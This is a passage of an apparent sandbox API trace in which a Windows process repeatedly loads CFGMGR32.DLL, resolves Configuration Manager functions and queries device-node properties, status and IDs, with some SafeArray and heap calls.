Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.336] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b85ee36, dwHighDateTime=0x1d9eb0c)) [0214.336] SetEvent (hEvent=0x248) returned 1 [0214.339] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.339] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.343] malloc (_Size=0x18) returned 0x20abc281fa0 [0214.344] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0214.344] malloc (_Size=0x48) returned 0x20abc27cf80 [0214.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b85ee36, dwHighDateTime=0x1d9eb0c)) [0214.344] SetEvent (hEvent=0x248) returned 1 [0214.350] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.350] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.354] malloc (_Size=0x18) returned 0x20abc281dc0 [0214.354] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.357] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b885182, dwHighDateTime=0x1d9eb0c)) [0214.357] SetEvent (hEvent=0x248) returned 1 [0214.361] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.361] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.365] malloc (_Size=0x18) returned 0x20abc2819a0 [0214.365] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x35, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0214.365] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3b885182, dwHighDateTime=0x1d9eb0c)) [0214.366] SetEvent (hEvent=0x248) returned 1 [0214.372] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.372] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.376] malloc (_Size=0x18) returned 0x20abc281960 [0214.376] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x35, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0214.377] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3b8ae475, dwHighDateTime=0x1d9eb0c)) [0214.377] SetEvent (hEvent=0x248) returned 1 [0214.516] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.516] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.520] malloc (_Size=0x18) returned 0x20abc281fe0 [0214.520] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.521] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ba027c6, dwHighDateTime=0x1d9eb0c)) [0214.521] SetEvent (hEvent=0x248) returned 1 [0214.527] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.527] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.531] malloc (_Size=0x18) returned 0x20abc281b60 [0214.532] CM_Get_Device_IDA (in: dnDevInst=0x36, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\{0.0.0.00000000}.{8E130672-61AD-4A4A-946A-D1F6397B4DB3}") returned 0x0 [0214.532] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3ba28784, dwHighDateTime=0x1d9eb0c)) [0214.532] SetEvent (hEvent=0x248) returned 1 [0214.535] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.535] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.541] malloc (_Size=0x18) returned 0x20abc281b20 [0214.541] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0214.541] malloc (_Size=0x32) returned 0x20abc2812d0 [0214.541] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2812d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2812d0, pulLength=0x2dc22fd3f8) returned 0x0 [0214.542] free (_Block=0x20abc2812d0) [0214.542] malloc (_Size=0x48) returned 0x20abc27cf80 [0214.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3ba4edf6, dwHighDateTime=0x1d9eb0c)) [0214.542] SetEvent (hEvent=0x248) returned 1 [0214.545] malloc (_Size=0x18) returned 0x20abc281d20 [0214.545] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0214.545] free (_Block=0x20abc281d20) [0214.545] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0214.545] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0214.545] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0214.545] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0214.545] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79730 [0214.545] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0214.545] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0214.545] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0214.546] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0214.546] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402120, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0214.547] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79730) returned 1 [0214.547] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0214.548] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.548] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.550] 